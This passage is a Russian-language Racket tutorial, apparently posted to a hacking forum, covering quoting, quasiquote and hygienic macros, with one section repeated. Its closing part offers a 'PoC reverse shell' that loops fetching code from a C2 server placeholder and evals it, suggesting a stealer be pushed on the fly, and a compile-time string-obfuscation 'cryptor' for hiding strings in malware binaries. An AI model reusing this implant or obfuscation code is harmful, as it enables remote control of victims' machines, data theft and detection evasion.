(display "hi"))
(unless (positive? 5)
(display "hi"))
Кстати да, обратили внимание на квадратные скобки в примере про cond? Достаточно интересный прикол языка Racket: можно использовать для записи кода любой тип скобок - квадратные, круглые и фигурные. И комбинировать их по-разному, главное чтобы открывающаяся и закрывающаяся скобка совпадали по типу (то есть открыть круглой, а закрыть квадратной не получится).
Сомнительно применение этой фичи в реальном мире, потому что во всех редакторах сейчас есть выделение скобочек цветом + автоматическое закрытие, поэтому запутаться вряд ли получится. Но прикольно, если вас допустим бесит нажимать шифт, но у вас очень развитый мизинец правой руки - можно все писать в квадратных скобках.
Присваивание и другие деструктивные операции
В языках, которые стремятся к чистоте, неизменяемости данных и функциональной парадигме, принято выделять конструктивные и деструктивные операции.
Конструктивные - это операции или функции, которые НЕ изменяют объект, а возвращают новый с необходимыми изменениями.
Деструктивные же операции изменяют сам объект. Принято считать, что такой подход более опасный и потенциально ведет к большему количеству труднообнаружимых ошибок. Поэтому в некоторых языках, и в том числе в Racket принята следующая конвенция.В имени деструктивного оператора или функции обязательно в конце должен быть восклицательный знак.
Например, присваивание выглядит вот так:
Код: Скопировать в буфер обмена
(set! x 1)
В дополнение к этому есть соглашение, что предикаты (функции, возвращающие булево значение) заканчиваются вопросительным знаком.
Скажу честно - это реально удобно и я лично стараюсь придерживаться подобной практики во всех проектах с которыми работаю, независимо от языка. Потому что дописать символ в конец не сложно, зато можно по одному только названию функции понять, что она делает и как она это делает. Берем на заметку.
Про кавычку
Одна из самых важных тем в работе с любыми лиспообразными языками. Как мы уже видели на примерах, в Racket код равно данные, а данные равно код, все это смешано перемешано и свободно преобразуется друг в друга. Как понять что есть что? Как сказать, что именно я хочу сделать - вызвать функцию или на первое место в списке поставить функцию? Во всем этом сейчас разберемся.
Необходимые нам символы:
- ' - одинарная кавычка, она же quote. Обозначает подавление вычисления
- ` - квазикавычка, она же косая одинарная кавычка, она же обратная кавычка, она же quasiquote/backquote. Также подавляет вычисление, как и обычная одинарная, но позволяет делать внутри немного магии из следующих пунктов
- , - запятая, она же comma/unquote. Обозначает кавычку наоборот - то есть провоцирует вычисление того, перед чем стоит
- @ - собака. Обозначает распаковку значения из "списка".
Для старта достаточно, давайте поглядим как это все работает на примерах. Итак, у нас есть переменная х:
Код: Скопировать в буфер обмена
Если мы просто введем х в репле - получим значение. Как нам получить именно символ х? Тут все просто, ответ уже содержится в вопросе - тип данных символ даже записывается с одинарной кавычкой:
Код: Скопировать в буфер обмена
Окей, а что будет, если мы возьмем список (1 2 3 4 5)?
Код: Скопировать в буфер обмена
Ошибка, потому что 1 - не функция. Чтобы получить из этого список, нужно сделать что? Правильно, использовать кавычку!
Код: Скопировать в буфер обмена
То же самое с вызовами функций. Нет кавычки - вычисляется, есть кавычка - это просто список.
Код: Скопировать в буфер обмена
Окей, а как же тогда работает и для чего нужна квазикавычка? Все просто, она точно так же подавляет выполнение, но при этом позволяет внутри выражения опять это выполнение инициировать.
Например, можно делать вот так:
Код: Скопировать в буфер обмена
Как уже понял внимательный читатель - запятой мы снова вызываем выполнение, а с помощью собаки - просто убираем вложенность.
Для чего нам может все это понадобиться, спросите вы?
Для того, что делает Racket и в целом лиспы такими особенными - макросы.
Примечание:
Конечно, в Racket есть и паттерн матчинг, и акторы, и ООП, и эфемероны, и ленивые вычисления, и все, что вы когда-либо встречали или не встречали в других языках программирования. Я специально не стал разбирать все приколюхи, потому что во-первых это огромный объем информации, а во-вторых - ну надо же оставить читателю что-то для самостоятельного изучения и просвещения.
Макросы
Как я уже говорил, вокруг Лиспа ходит много легенд и слухов. Язык для разработки ИИ, созданный в застенках технических институтов серьезными дядями, а затем стандартизированный военными. Язык, который как пластилин превратится в то, что вы из него сделаете. Язык, про который говорят, что он создан для задач, которые невозможно решить используя другие языки программирования (что, строго говоря неправда, из-за эквивалентности полных по Тьюрингу языков).
На мой взгляд все эти мысли слегка преувеличены, но доля правды в них все-таки есть. Есть у лиспов фишка, которая неразрывно связана с синтаксисом в виде S-выражений и которой действительно нет в других языках. Фишка, из-за которой тот же Common Lisp до сих пор живее всех живых, и переживет кучу модных языков, которые сейчас на пике популярности.
Это макросы.
Про макросы писать довольно сложно, потому что практически невозможно объяснить человеку, который с ними не сталкивался, нафига они собственно нужны. Но я попытаюсь, и начну с самых основ.
Макросы - это, цитируя классиков, "программы, которые пишут программы". Проще говоря, это операторы, которые реализуются через трансформацию. Определяя макрос, вы указываете как его вызов должен быть преобразован. Само преобразование автоматически выполняется компилятором и называется раскрытием макроса (macro expansion). Код, полученный в результате раскрытия макроса, естаественным образом становится частью программы, как будто бы его написали вы.
Например, and - это макрос.
Код: Скопировать в буфер обмена
Это выражение во время компиляции развернется в следующее:
Код: Скопировать в буфер обмена
С практической точки зрения, макросы интересы по двум причинам:
1) На уровне программы, макросы позволяют нам делать то, чего нельзя добиться обычными функциями.
Для примера - допустим мы хотим реализовать вот такую конструкцию "report", которая печатает выражение в консоль, а затем возвращает это выражение для дальнейших вычислений
Код: Скопировать в буфер обмена
Если бы report был обычной функцией, выражение (+ 1 2 3 4) вычислялось бы в число 10, которое затем передавалось бы в качестве аргумента функции. Но мы не смогли бы напечатать оригинальное выражение, поскольку функция report его никогда не видела.
Если же мы реализуем report как макрос, он будет выглядеть вот так:
Код: Скопировать в буфер обмена
Теперь, если мы выполним код, мы получим ожидаемый верный результат:
Код: Скопировать в буфер обмена
2) На уровне компилятора, макросы позволяют нам транслировать более сложные конструкции в примитивные формы, вплоть до базовых синтаксических форм. Это позволяет языку в конечном итоге работать только с небольшим множеством синтаксических форм, а следовательно компилировать, оптимизировать и выполнять программы более эффективно.
Для того, чтобы понять как это все работает, важно отличать три стадии работы программы (применимо не только в Racket, но и во всех остальных языках программирования. Просто тут это реально имеет большое значение):
Код: Скопировать в буфер обмена
(define x 1)
Если мы просто введем х в репле - получим значение. Как нам получить именно символ х? Тут все просто, ответ уже содержится в вопросе - тип данных символ даже записывается с одинарной кавычкой:
Код: Скопировать в буфер обмена
Код:
> x
1
> 'x
x
Окей, а что будет, если мы возьмем список (1 2 3 4 5)?
Код: Скопировать в буфер обмена
Код:
> (1 2 3 4 5)
; application: not a procedure;
; expected a procedure that can be applied to arguments
; given: 1
; [,bt for context]
Ошибка, потому что 1 - не функция. Чтобы получить из этого список, нужно сделать что? Правильно, использовать кавычку!
Код: Скопировать в буфер обмена
Код:
> '(1 2 3 4 5)
'(1 2 3 4 5)
То же самое с вызовами функций. Нет кавычки - вычисляется, есть кавычка - это просто список.
Код: Скопировать в буфер обмена
Код:
> (define (f x) (+ 1 x))
> (f 1)
2
> '(f 1)
'(f 1)
Окей, а как же тогда работает и для чего нужна квазикавычка? Все просто, она точно так же подавляет выполнение, но при этом позволяет внутри выражения опять это выполнение инициировать.
Например, можно делать вот так:
Код: Скопировать в буфер обмена
Код:
> `(1 2 ,(+ 1 2))
'(1 2 3)
Как уже понял внимательный читатель - запятой мы снова вызываем выполнение, а с помощью собаки - просто убираем вложенность.
Для чего нам может все это понадобиться, спросите вы?
Для того, что делает Racket и в целом лиспы такими особенными - макросы.
Примечание:
Конечно, в Racket есть и паттерн матчинг, и акторы, и ООП, и эфемероны, и ленивые вычисления, и все, что вы когда-либо встречали или не встречали в других языках программирования. Я специально не стал разбирать все приколюхи, потому что во-первых это огромный объем информации, а во-вторых - ну надо же оставить читателю что-то для самостоятельного изучения и просвещения.
Макросы
Как я уже говорил, вокруг Лиспа ходит много легенд и слухов. Язык для разработки ИИ, созданный в застенках технических институтов серьезными дядями, а затем стандартизированный военными. Язык, который как пластилин превратится в то, что вы из него сделаете. Язык, про который говорят, что он создан для задач, которые невозможно решить используя другие языки программирования (что, строго говоря неправда, из-за эквивалентности полных по Тьюрингу языков).
На мой взгляд все эти мысли слегка преувеличены, но доля правды в них все-таки есть. Есть у лиспов фишка, которая неразрывно связана с синтаксисом в виде S-выражений и которой действительно нет в других языках. Фишка, из-за которой тот же Common Lisp до сих пор живее всех живых, и переживет кучу модных языков, которые сейчас на пике популярности.
Это макросы.
Про макросы писать довольно сложно, потому что практически невозможно объяснить человеку, который с ними не сталкивался, нафига они собственно нужны. Но я попытаюсь, и начну с самых основ.
Макросы - это, цитируя классиков, "программы, которые пишут программы". Проще говоря, это операторы, которые реализуются через трансформацию. Определяя макрос, вы указываете как его вызов должен быть преобразован. Само преобразование автоматически выполняется компилятором и называется раскрытием макроса (macro expansion). Код, полученный в результате раскрытия макроса, естаественным образом становится частью программы, как будто бы его написали вы.
Например, and - это макрос.
Код: Скопировать в буфер обмена
(and (expr a) (expr b) (expr c))
Это выражение во время компиляции развернется в следующее:
Код: Скопировать в буфер обмена
Код:
(if (expr a)
(if (expr b)
(expr c)
#f)
#f)
С практической точки зрения, макросы интересы по двум причинам:
1) На уровне программы, макросы позволяют нам делать то, чего нельзя добиться обычными функциями.
Для примера - допустим мы хотим реализовать вот такую конструкцию "report", которая печатает выражение в консоль, а затем возвращает это выражение для дальнейших вычислений
Код: Скопировать в буфер обмена
(report (+ 1 2 3 4))
Если бы report был обычной функцией, выражение (+ 1 2 3 4) вычислялось бы в число 10, которое затем передавалось бы в качестве аргумента функции. Но мы не смогли бы напечатать оригинальное выражение, поскольку функция report его никогда не видела.
Если же мы реализуем report как макрос, он будет выглядеть вот так:
Код: Скопировать в буфер обмена
Код:
(define-macro (report EXPR)
#'(begin
(displayln (format "input was ~a" 'EXPR))
EXPR))
Теперь, если мы выполним код, мы получим ожидаемый верный результат:
Код: Скопировать в буфер обмена
Код:
> (report (+ 1 2 3 4))
input was (+ 1 2 3 4)
10
2) На уровне компилятора, макросы позволяют нам транслировать более сложные конструкции в примитивные формы, вплоть до базовых синтаксических форм. Это позволяет языку в конечном итоге работать только с небольшим множеством синтаксических форм, а следовательно компилировать, оптимизировать и выполнять программы более эффективно.
Для того, чтобы понять как это все работает, важно отличать три стадии работы программы (применимо не только в Racket, но и во всех остальных языках программирования. Просто тут это реально имеет большое значение):
- Read time - это момент, когда компилятор читает код вашей программы. То есть самое-самое начало. Макросы, работающие в этот момент, называются reader macros, и именно они отвечают за парсинг новых языков программирования и изменение синтаксиса. Вместе с тем, ридер макросы являются самыми сложными для реализации, поэтому в этой статье мы не будем акцентировать на них внимание.
- Compile time - это момент, когда компилятор успешно прочитал и распарсил ваш код, и приступает собственно к сборке исполняемого файла. Именно в это время отрабатывает большинство наших макросов, а называть их принято просто macros.
- Run time - это момент, когда программа успешно собрана и исполняется. В этот момент синтаксические преобразования, как правило, не производятся.
Как уже понял вдумчивый читатель, разработка и проектирование макросов - это отдельная, совсем нетривиальная дисциплина, и выстрелить себе в ногу тут можно ой как много раз. В частности, один из частых фейлов - непреднамеренный захват переменной.
Простыми словами - это когда вы используете в макросах какие-то имена переменных, а при раскрытии макроса код вставляется в то место, где такие переменные уже есть.
Небольшой псевдо-пример, допустим у нас есть макрос "(defx 5)", задача которого - создать переменную Х и присвоить ей значение пять. И разворачивается он во что-то такое:
Код: Скопировать в буфер обмена
(define x 5)
Что произойдет, если переменная Х уже была у нас в коде программы ранее и за что-то отвечала? Верно, она перезапишется и это потенциально очень труднообнаружимая ошибка. Второй вариант - если вы используете в макросах стандартные имена библиотечных функций, а эти функции в программе были переопределены.
Поскольку макросы присутствуют в Лиспах примерно везде, представьте в какое адище все это превращается, особенно учитывая что макросы могут быть и в подключаемых модулях, и в вашем собственном коде.
Короче, вопрос встал остро, поэтому теперь макросы принято делить на две категории:
- Негигиенические - это макросы без дополнительных ограничений, можно реализовать примеры выше и стрелять себе в ноги сколько угодно раз. Такая система используется в Common Lisp. Можно захватывать переменные, грабить корованы и делать любые грязные хаки
- Гигиенические - это макросы, в которых всем локальным переменным во время раскрытия присваивается уникальный идентификатор. Захват переменных исключен, все работает как вы запланировали. Такие макросы являются стандартом языка Scheme и именно они у нас в Racket.
Создаются маркосы в Racket разнообразным количеством способов, и если честно - не совсем удобно. Приходится постоянно прыгать между типами datum и syntax, а уж про грязные хаки можно точно забыть - обойти гигиеническую модель не так-то просто.
Самый удобный формат для базовых трансформаций кода - это объединение макросов с паттерн матчингом:
Код: Скопировать в буфер обмена
Код:
(define-syntax (swap stx)
(syntax-case stx ()
[(_ a b) #'(let ([t a])
(set! a b)
(set! b t))]))
Таким образом можно реализовывать и добавлять новый функционал, если основная задача плюс минус как у функций.
К сожалению, вопрос гигиены макросов - знатная тема для холиваров. Для базовых, "учебных" трансформацией все ок, и порог входа довольно низкий. Но с плюс минус сложными макросами у Racket начинаются пляски с бубном, потому что система syntax спроектирована, скажем так, весьма сомнительно.
Окей, я думаю пора бы нам покодить что-нибудь полезное, поэтому едем дальше.
PoС Reverse shell
Так, ну я думаю мы сразу скипнем момент с базовым стилером и вот это вот все, что пишется плюс минус одинаково на всех языках. Давайте сразу к интресному.
Напишем реверс шелл, но не тот что получает команды и просто вызывает их через cmd. А тот, что получает код на Racket и выполняет его в живой системе. Это позволит нам сделать своего рода "закладку" и весь необходимый код подгружать в программу динамически. Помните, что вес хэллоуворлда был 2 мб? Это потому что этот исполняемый файл тащит с собой весь образ (то есть весь Racket).
Код: Скопировать в буфер обмена
Код:
#lang racket
(require net/http-easy)
(define server "YOUR_C2_ADDRESS")
(let loop ()
(define command
(hash-ref 'command (response-json (get server))))
(eval (read (open-input-string command)))
(sleep 5)
(loop))
По коду все достаточно просто - импортируем библиотеку для изи запросов, задаем адрес нашего С2 сервака и далее в бесконечном цикле запрашиваем команду, парсим и исполняем.
Можно передать команду "(define (steal path) ...)" и реализовать стилер на лету. Ну или что-то другое, на ваш вкус.
PoC Cryptor
Окей, давайте раз уж я столько внимания уделил макросам, поиграемся и с ними тоже. Реализуем шифрование строк, чтобы они не валялись у нас в открытом виде в коде программы.
Начнем со строк. Тут нам понадобится один макрос и одна функция. Для наглядности я не буду использовать какой-то сложный алгоритм шифрования. Просто возьмем строку и перевернем ее.
Код: Скопировать в буфер обмена
Код:
(define-syntax (encrypt stx)
(let* ((s (syntax->datum (cadr (syntax->list stx))))
(enc-s (list->string (reverse (string->list s)))))
(datum->syntax stx `(decrypt ,enc-s))))
Тут внимательный читатель может собственными глазами увидеть то, о чем я говорил в части про макросы - это нетривиально в плане преобразований типов туда-обратно и нужно быть очень аккуратным.
Теперь, нам всего лишь достаточно все строки в коде заменить на (encrypt "ABC"), и во время компиляции этот макрос развернется в (decrypt "CBA").
Осталось реализовать функцию decrypt и добавить ее в наш код:
Код: Скопировать в буфер обмена
Код:
(define (decrypt s)
(list->string (reverse (string->list s))))
Ну вот и все, теперь все строки в нашем коде программы будут зашифрованы и расшифровываться только в рантайме. При этом в сорцах мы все так же пишем нормальный текст, но в итоговом софте он нигде не будет фигурировать.
Заключение
Сегодня у нас в гостях был язык Racket.
Изначально проект разрабатывался в качестве среды для обучения программированию, и на мой взгляд с этой задачей справляется на все сто.
На мой взгляд Racket - отличный язык, для того чтобы познакомиться с языками семейства Лисп и понять, ваше это или нет. Хорошая документация, много примеров и библиотек. Есть прикольные книги с интересными учебными проектами (в сфере геймдева, например, Realm of Racket).
Но, как я уже говорил не раз, Racket - отличный учебный язык. И многие вещи здесь реализованы слишком чисто и строго, как будто для работы в лабораторных условиях. Для боевых задач Racket тоже подходит, но является не лучшим выбором.
Пощупайте. Проникнитесь. Поймите ваше это или же скобочки бесконечно бесят.
А потом просто воспользуйтесь тем, что у языка Scheme куча реализаций, и вы можете выбрать любую из них. Например, Chicken или Gambit с трансляцией в С. Если писать в стандарте R6RS, то код будет максимально совместим.
И конечно, в чем Racket реально хорош - так это в простом и быстром проектировании новых языков. Если эта задача входит в область ваших интересов, и опять же, скобочки не напрягают - отличный выбор (намного лучше, чем тот же Red).
Ну и конечно же Racket - отличный разгон перед изучением Common Lisp. Можно в лабораторных условиях привыкнуть к особенностям языка и синтаксису, а потом приходить к бородатым дядям и делать реальную грязь
На этом пожалуй все, спасибо за внимание!
С вами был Патрик.
Специально для XSS